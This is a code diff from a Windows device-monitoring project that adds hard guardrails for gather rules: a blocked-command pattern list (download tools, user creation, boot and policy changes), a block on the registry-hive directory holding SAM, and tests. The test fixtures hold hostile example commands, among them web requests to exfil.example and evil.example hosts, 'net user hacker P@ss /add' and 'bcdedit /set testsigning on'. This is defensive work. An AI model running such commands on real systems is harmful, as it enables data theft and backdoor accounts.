payload's author. + rule.Author = TenantHelper.GetUserDisplayName(req) ?? "Autopilot Monitor"; + _logger.LogInformation("Global admin updating gather rule {RuleId} for tenant {TenantId}", ruleId, tenantId); var success = await _gatherRuleService.UpdateRuleAsync(tenantId, rule); diff --git a/src/McpServer/autopilot-monitor-mcp/src/__tests__/rule-validation.test.ts b/src/McpServer/autopilot-monitor-mcp/src/__tests__/rule-validation.test.ts index c09a1b2d..e15193db 100644 --- a/src/McpServer/autopilot-monitor-mcp/src/__tests__/rule-validation.test.ts +++ b/src/McpServer/autopilot-monitor-mcp/src/__tests__/rule-validation.test.ts @@ -113,6 +113,65 @@ describe('gather guardrails (agent matching semantics)', () => { expect(errors(validateRuleDraft(bad).findings).some((m) => m.includes('hard-blocked'))).toBe(true); }); + it('rejects the registry-hive store path (System32\\config) as hard-blocked', () => { + const bad = validGather(); + bad.collectorType = 'file'; + bad.target = 'C:\\Windows\\System32\\config\\SAM'; + expect(errors(validateRuleDraft(bad).findings).some((m) => m.includes('hard-blocked'))).toBe(true); + }); + + it('validates json/xml targets with file-path semantics', () => { + const okJson = validGather(); + okJson.collectorType = 'json'; + okJson.target = 'C:\\ProgramData\\Microsoft\\IntuneManagementExtension\\Logs\\state.json'; + expect(validateRuleDraft(okJson).valid).toBe(true); + + const blockedJson = validGather(); + blockedJson.collectorType = 'json'; + blockedJson.target = 'C:\\Users\\admin\\AppData\\Local\\app\\state.json'; + expect(errors(validateRuleDraft(blockedJson).findings).some((m) => m.includes('hard-blocked'))).toBe(true); + + const badXml = validGather(); + badXml.collectorType = 'xml'; + badXml.target = 'D:\\NotAllowed\\config.xml'; + expect(errors(validateRuleDraft(badXml).findings).some((m) => m.includes('allowed file prefix'))).toBe(true); + }); + + it('rejects hard-blocked command patterns and over-length commands', () => { + const blocked = validGather(); + blocked.collectorType = 'command_allowlisted'; + blocked.target = 'Get-Tpm; Invoke-WebRequest -Uri https://exfil.example'; + expect(errors(validateRuleDraft(blocked).findings).some((m) => m.includes('hard-blocked pattern'))).toBe(true); + + const long = validGather(); + long.collectorType = 'command_allowlisted'; + long.target = 'Get-Something ' + 'a'.repeat(2100); + expect(errors(validateRuleDraft(long).findings).some((m) => m.includes('character hard limit'))).toBe(true); + }); + + it('still accepts allowlisted commands that contain no blocked pattern', () => { + const ok = validGather(); + ok.collectorType = 'command_allowlisted'; + // must not be caught by the "certutil -urlcache" pattern + ok.target = 'certutil -store My'; + expect(validateRuleDraft(ok).valid).toBe(true); + }); + + it('rejects activePhases + activeFromPhase set together (backend 400 parity)', () => { + const bad = validGather(); + bad.activePhases = ['DeviceSetup']; + bad.activeFromPhase = 'AccountSetup'; + expect(errors(validateRuleDraft(bad).findings).some((m) => m.includes('mutually exclusive'))).toBe(true); + + const okPhases = validGather(); + okPhases.activePhases = ['DeviceSetup']; + expect(validateRuleDraft(okPhases).valid).toBe(true); + + const okFrom = validGather(); + okFrom.activeFromPhase = 'AccountSetup'; + expect(validateRuleDraft(okFrom).valid).toBe(true); + }); + it('accepts an allow-listed file target and rejects others', () => { const ok = validGather(); ok.collectorType = 'file'; diff --git a/src/McpServer/autopilot-monitor-mcp/src/rule-authoring-guide.ts b/src/McpServer/autopilot-monitor-mcp/src/rule-authoring-guide.ts index 436968dd..f766a508 100644 --- a/src/McpServer/autopilot-monitor-mcp/src/rule-authoring-guide.ts +++ b/src/McpServer/autopilot-monitor-mcp/src/rule-authoring-guide.ts @@ -70,6 +70,14 @@ export const RULE_AUTHORING_GUIDE = { file: 'Check file/directory existence, optionally read content. target = path under an allow-listed ' + 'prefix. parameters: readContent ("true"). C:\\Users is blocked.', + json: + 'Query a JSON file with a JSONPath expression. target = file path under an allow-listed ' + + 'prefix (same file guardrails as collectorType "file", 200 KB cap). parameters: jsonpath ' + + '(REQUIRED, e.g. "$.status.lastSync"), maxResults (default 20, max 100).', + xml: + 'Query an XML file with an XPath expression. target = file path under an allow-listed ' + + 'prefix (same file guardrails as collectorType "file", 200 KB cap). parameters: xpath ' + + '(REQUIRED), namespaces (optional "prefix=uri;prefix2=uri2"), maxResults (default 20, max 100).', command_allowlisted: 'Run one of the exactly allow-listed commands (see rule_guardrails allowedCommands). ' + 'Matching is EXACT (trimmed, case-insensitive) — no arguments can be added or removed.', @@ -247,7 +255,7 @@ export const RULE_AUTHORING_GUIDE = { analyzeCategories: ['network', 'identity', 'enrollment', 'apps', 'esp', 'device', 'security'], analyzeSeverities: ['info', 'warning', 'high', 'critical'], gatherOutputSeverities: ['Info', 'Warning', 'Error', 'Critical'], - gatherCollectorTypes: ['registry', 'eventlog', 'wmi', 'file', 'command_allowlisted', 'logparser'], + gatherCollectorTypes: ['registry', 'eventlog', 'wmi', 'file', 'json', 'xml', 'command_allowlisted', 'logparser'], gatherTriggers: ['startup', 'phase_change', 'phase_exit', 'interval', 'on_event'], analyzeConditionSources: ['event_type', 'event_data', 'event_data_array', 'phase_duration', 'event_count', 'app_install_duration', 'event_correlation'], }, diff --git a/src/McpServer/autopilot-monitor-mcp/src/rule-authoring.generated.ts b/src/McpServer/autopilot-monitor-mcp/src/rule-authoring.generated.ts index b6127be9..7c614c84 100644 --- a/src/McpServer/autopilot-monitor-mcp/src/rule-authoring.generated.ts +++ b/src/McpServer/autopilot-monitor-mcp/src/rule-authoring.generated.ts @@ -98,6 +98,8 @@ export const GATHER_RULE_SCHEMA: Record = { "eventlog", "wmi", "file", + "json", + "xml", "command_allowlisted", "logparser" ] @@ -1000,6 +1002,27 @@ export const RULE_GUARDRAILS = { "C:\\Install\\Log" ], "blockedFilePrefixes": [ - "C:\\Users" - ] + "C:\\Users", + "C:\\Windows\\System32\\config" + ], + "blockedCommandPatterns": [ + "Invoke-WebRequest", + "Invoke-RestMethod", + "Start-BitsTransfer", + "wget", + "curl", + "certutil -urlcache", + "New-LocalUser", + "Add-LocalGroupMember", + "net user", + "net localgroup", + "bcdedit", + "bcdboot", + "schtasks /create", + "Register-ScheduledTask", + "Remove-Item -Recurse", + "Format-Volume", + "Set-ExecutionPolicy" + ], + "maxCommandLength": 2000 } as const; diff --git a/src/McpServer/autopilot-monitor-mcp/src/rule-validation.ts b/src/McpServer/autopilot-monitor-mcp/src/rule-validation.ts index c930b0d9..a62bb9dd 100644 --- a/src/McpServer/autopilot-monitor-mcp/src/rule-validation.ts +++ b/src/McpServer/autopilot-monitor-mcp/src/rule-validation.ts @@ -86,10 +86,13 @@ for (const entry of RULE_GUARDRAILS.wmiQueryPrefixes) { else residualWmiPrefixes.push(entry); } -/** Hard blocks enforced in agent CODE (not liftable via guardrails.json). Keep in - * sync with GatherRuleGuards.cs — additions there are fail-safe (agent still blocks), +/** Hard blocks enforced in agent CODE (not liftable via guardrails.json — the JSON + * mirrors them for display and pre-flight; an agent-side parity test pins the two + * equal). Additions in GatherRuleGuards.cs are fail-safe: the agent still blocks, * missing ones here just cost a pre-flight warning. */ -const HARD_BLOCKED_PATH_PREFIXES = ['C:\\Users', 'C:\\Windows\\System32\\config']; +const HARD_BLOCKED_PATH_PREFIXES: readonly string[] = RULE_GUARDRAILS.blockedFilePrefixes; +const HARD_BLOCKED_COMMAND_PATTERNS: readonly string[] = RULE_GUARDRAILS.blockedCommandPatterns; +const MAX_COMMAND_LENGTH: number = RULE_GUARDRAILS.maxCommandLength; /** Segment-bounded prefix match: target equals the prefix or continues with '\'. */ function pathPrefixAllowed(target: string, prefixes: readonly string[]): boolean { @@ -121,6 +124,8 @@ function checkGatherTarget(collectorType: string, target: string): ValidationFin break; } case 'file': + case 'json': + case 'xml': case 'logparser': { const blocked = HARD_BLOCKED_PATH_PREFIXES.find((p) => pathPrefixAllowed(target, [p])); if (blocked) { @@ -162,6 +167,24 @@ function checkGatherTarget(collectorType: string, target: string): ValidationFin break; } case 'command_allowlisted': { + // Hard guards enforced in agent CODE even in unrestricted mode (mirrors + // GatherRuleGuards.IsCommandAllowed order: length cap → blocked patterns → allowlist). + if (target.length > MAX_COMMAND_LENGTH) { + findings.push({ + level: 'error', + message: `guardrails: command exceeds the ${MAX_COMMAND_LENGTH}-character hard limit — the agent always refuses this, even in unrestricted mode.`, + }); + break; + } + const targetLower = target.toLowerCase(); + const blockedPattern = HARD_BLOCKED_COMMAND_PATTERNS.find((p) => targetLower.includes(p.toLowerCase())); + if (blockedPattern) { + findings.push({ + level: 'error', + message: `guardrails: command contains hard-blocked pattern "${blockedPattern}" — the agent always refuses this, even in unrestricted mode. It cannot be allow-listed.`, + }); + break; + } const t = target.trim().toLowerCase(); if (!flatCommands.some((c) => c.trim().toLowerCase() === t)) { findings.push({ @@ -363,6 +386,18 @@ function lintGatherRule(rule: Record): ValidationFinding[] { const findings: ValidationFinding[] = []; const trigger = rule.trigger as string | undefined; + // Mirrors GatherRulesFunction.ValidateScopeAndEmitMode: both scope fields set + // is a 400 at create/update time (the schema enums cover the token values, but + // cannot express this exclusivity). + const hasActivePhases = Array.isArray(rule.activePhases) && rule.activePhases.length > 0; + const hasFromPhase = typeof rule.activeFromPhase === 'string' && rule.activeFromPhase.length > 0; + if (hasActivePhases && hasFromPhase) { + findings.push({ + level: 'error', + message: 'activePhases and activeFromPhase are mutually exclusive — set only one (the backend rejects rules with both, HTTP 400).', + }); + } + if (trigger === 'interval' && typeof rule.intervalSeconds !== 'number') { findings.push({ level: 'error', message: 'trigger "interval" requires intervalSeconds.' }); } diff --git a/src/Web/autopilot-monitor-web/utils/__tests__/guardValidation.test.ts b/src/Web/autopilot-monitor-web/utils/__tests__/guardValidation.test.ts index b22f8117..ac3e95be 100644 --- a/src/Web/autopilot-monitor-web/utils/__tests__/guardValidation.test.ts +++ b/src/Web/autopilot-monitor-web/utils/__tests__/guardValidation.test.ts @@ -158,6 +158,17 @@ describe("validateFileTarget", () => { ); expect(r.allowed).toBe(false); }); + + // Mirrors the agent's AdditionalHardBlockedPathPrefixes (SAM/SECURITY/SYSTEM hives). + it("blocks C:\\Windows\\System32\\config even in unrestricted mode", () => { + expect(validateFileTarget("C:\\Windows\\System32\\config\\SAM", false).allowed).toBe(false); + expect(validateFileTarget("C:\\Windows\\System32\\config\\SAM", true).allowed).toBe(false); + }); + + it("does not block sibling System32 paths outside \\config", () => { + const r = validateFileTarget("C:\\Windows\\System32\\configX\\file.log", true); + expect(r.allowed).toBe(true); + }); }); // --------------------------------------------------------------------------- @@ -254,6 +265,33 @@ describe("validateCommandTarget", () => { const r = validateCommandTarget("", false); expect(r.allowed).toBe(false); }); + + // Hard guards mirror GatherRuleGuards.IsCommandAllowed: they apply even in + // unrestricted mode — the agent blocks these on-device regardless, and the + // portal badge must never show "Allowed" for them. + it.each([ + "Invoke-WebRequest -Uri https://evil.example/x", + "invoke-webrequest -uri https://evil.example/x", + "Get-Tpm; Set-ExecutionPolicy Bypass", + "cmd /c net user hacker P@ss /add", + "bcdedit /set testsigning on", + ])("blocks hard-blocked pattern even in unrestricted mode: %s", (cmd) => { + expect(validateCommandTarget(cmd, false).allowed).toBe(false); + const unrestricted = validateCommandTarget(cmd, true); + expect(unrestricted.allowed).toBe(false); + expect(unrestricted.unrestricted).toBe(false); + }); + + it("blocks over-length command even in unrestricted mode", () => { + const longCmd = "Get-Something " + "a".repeat(2100); + expect(validateCommandTarget(longCmd, false).allowed).toBe(false); + expect(validateCommandTarget(longCmd, true).allowed).toBe(false); + }); + + it("still allows allowlisted commands containing no blocked pattern", () => { + // "certutil -store My" must not be caught by the "certutil -urlcache" pattern. + expect(validateCommandTarget("certutil -store My", false).allowed).toBe(true); + }); }); // --------------------------------------------------------------------------- @@ -341,6 +379,15 @@ describe("validateDiagnosticsPath", () => { ); expect(r.allowed).toBe(false); }); + + it("blocks C:\\Windows\\System32\\config even in unrestricted mode", () => { + expect(validateDiagnosticsPath("C:\\Windows\\System32\\config\\SYSTEM", true).allowed).toBe(false); + }); + + it("still allows the winevt log directory next to \\config", () => { + const r = validateDiagnosticsPath("C:\\Windows\\System32\\winevt\\Logs\\System.evtx", false); + expect(r.allowed).toBe(true); + }); }); // --------------------------------------------------------------------------- diff --git a/src/Web/autopilot-monitor-web/utils/guardValidation.ts b/src/Web/autopilot-monitor-web/utils/guardValidation.ts index 0d80794a..959db8e2 100644 --- a/src/Web/autopilot-monitor-web/utils/guardValidation.ts +++ b/src/Web/autopilot-monitor-web/utils/guardValidation.ts @@ -15,6 +15,8 @@ import { BLOCKED_FILE_PREFIXES, ALLOWED_EVENT_LOG_CHANNELS, BLOCKED_EVENT_LOG_CHANNELS, + BLOCKED_COMMAND_PATTERNS, + MAX_COMMAND_LENGTH, } from "./guardrails.generated"; // Re-export for consumers that imported from here @@ -62,7 +64,18 @@ for (const entry of ALLOWED_WMI_QUERY_PREFIXES) { } } -const BLOCKED_USERS_PREFIX = BLOCKED_FILE_PREFIXES[0] || "C:\\Users"; +const BLOCKED_USERS_PREFIX = "C:\\Users"; + +// Hard-blocked path prefixes beyond C:\Users (e.g. C:\Windows\System32\config — +// SAM/SECURITY/SYSTEM hives). No user-profile exception applies to these. +const ADDITIONAL_BLOCKED_FILE_PREFIXES = BLOCKED_FILE_PREFIXES.filter( + (p) => p.toLowerCase() !== BLOCKED_USERS_PREFIX.toLowerCase() +); + +/** Returns the hard-blocked prefix (beyond C:\Users) covering the path, if any. */ +function findAdditionalBlockedPrefix(normalizedDir: string): string | undefined { + return ADDITIONAL_BLOCKED_FILE_PREFIXES.find((b) => matchesPrefix(normalizedDir, b, "\\")); +} // --------------------------------------------------------------------------- // Common Windows environment variables (for client-side expansion) @@ -260,8 +273,14 @@ export function validateFileTarget( return { allowed: false, reason: "C:\\Users is always blocked (privacy protection)", unrestricted: false }; } + // Additional hard-blocked paths (even in unrestricted mode) + const hardBlockedFile = findAdditionalBlockedPrefix(normalizedDir); + if (hardBlockedFile) { + return { allowed: false, reason: `${hardBlockedFile} is always blocked (protected system path)`, unrestricted: false }; + } + if (unrestrictedMode) { - return { allowed: true, reason: "All file paths allowed in unrestricted mode (except C:\\Users)", unrestricted: true }; + return { allowed: true, reason: "All file paths allowed in unrestricted mode (except blocked system paths)", unrestricted: true }; } for (const prefix of ALLOWED_FILE_PREFIXES) { @@ -325,6 +344,26 @@ export function validateCommandTarget( return { allowed: false, reason: "No command provided", unrestricted: false }; } + // Hard guards apply even in unrestricted mode (mirrors GatherRuleGuards.IsCommandAllowed): + // length cap and blocked-pattern scan run on the raw command, before any allowlist check. + if (target.length > MAX_COMMAND_LENGTH) { + return { + allowed: false, + reason: `Command exceeds the ${MAX_COMMAND_LENGTH}-character limit (always blocked)`, + unrestricted: false, + }; + } + + const targetLower = target.toLowerCase(); + const blockedPattern = BLOCKED_COMMAND_PATTERNS.find((p) => targetLower.includes(p.toLowerCase())); + if (blockedPattern) { + return { + allowed: false, + reason: `Contains "${blockedPattern}" — blocked even in unrestricted mode`, + unrestricted: false, + }; + } + if (unrestrictedMode) { return { allowed: true, reason: "All commands allowed in unrestricted mode", unrestricted: true }; } @@ -384,8 +423,14 @@ export function validateDiagnosticsPath( return { allowed: false, reason: "C:\\Users is always blocked (privacy protection)", unrestricted: false }; } + // Additional hard-blocked paths (even in unrestricted mode) + const hardBlockedDiag = findAdditionalBlockedPrefix(normalizedDir); + if (hardBlockedDiag) { + return { allowed: false, reason: `${hardBlockedDiag} is always blocked (protected system path)`, unrestricted: false }; + } + if (unrestrictedMode) { - return { allowed: true, reason: "All paths allowed in unrestricted mode (except C:\\Users)", unrestricted: true }; + return { allowed: true, reason: "All paths allowed in unrestricted mode (except blocked system paths)", unrestricted: true }; } for (const prefix of ALLOWED_DIAGNOSTICS_PATH_PREFIXES) { diff --git a/src/Web/autopilot-monitor-web/utils/guardrails.generated.ts b/src/Web/autopilot-monitor-web/utils/guardrails.generated.ts index 5bd65daa..7c1caac3 100644 --- a/src/Web/autopilot-monitor-web/utils/guardrails.generated.ts +++ b/src/Web/autopilot-monitor-web/utils/guardrails.generated.ts @@ -315,6 +315,7 @@ export const ALLOWED_DIAGNOSTICS_PATH_PREFIXES: readonly string[] = [ export const BLOCKED_FILE_PREFIXES: readonly string[] = [ "C:\\Users", + "C:\\Windows\\System32\\config", ]; export const ALLOWED_EVENT_LOG_CHANNELS: readonly string[] = [ @@ -356,3 +357,25 @@ export const BLOCKED_EVENT_LOG_CHANNELS: readonly string[] = [ "Windows PowerShell", "Microsoft-Windows-Sysmon", ]; + +export const BLOCKED_COMMAND_PATTERNS: readonly string[] = [ + "Invoke-WebRequest", + "Invoke-RestMethod", + "Start-BitsTransfer", + "wget", + "curl", + "certutil -urlcache", + "New-LocalUser", + "Add-LocalGroupMember", + "net user", + "net localgroup", + "bcdedit", + "bcdboot", + "schtasks /create", + "Register-ScheduledTask", + "Remove-Item -Recurse", + "Format-Volume", + "Set-ExecutionPolicy", +]; + +export const MAX_COMMAND_LENGTH = 2000;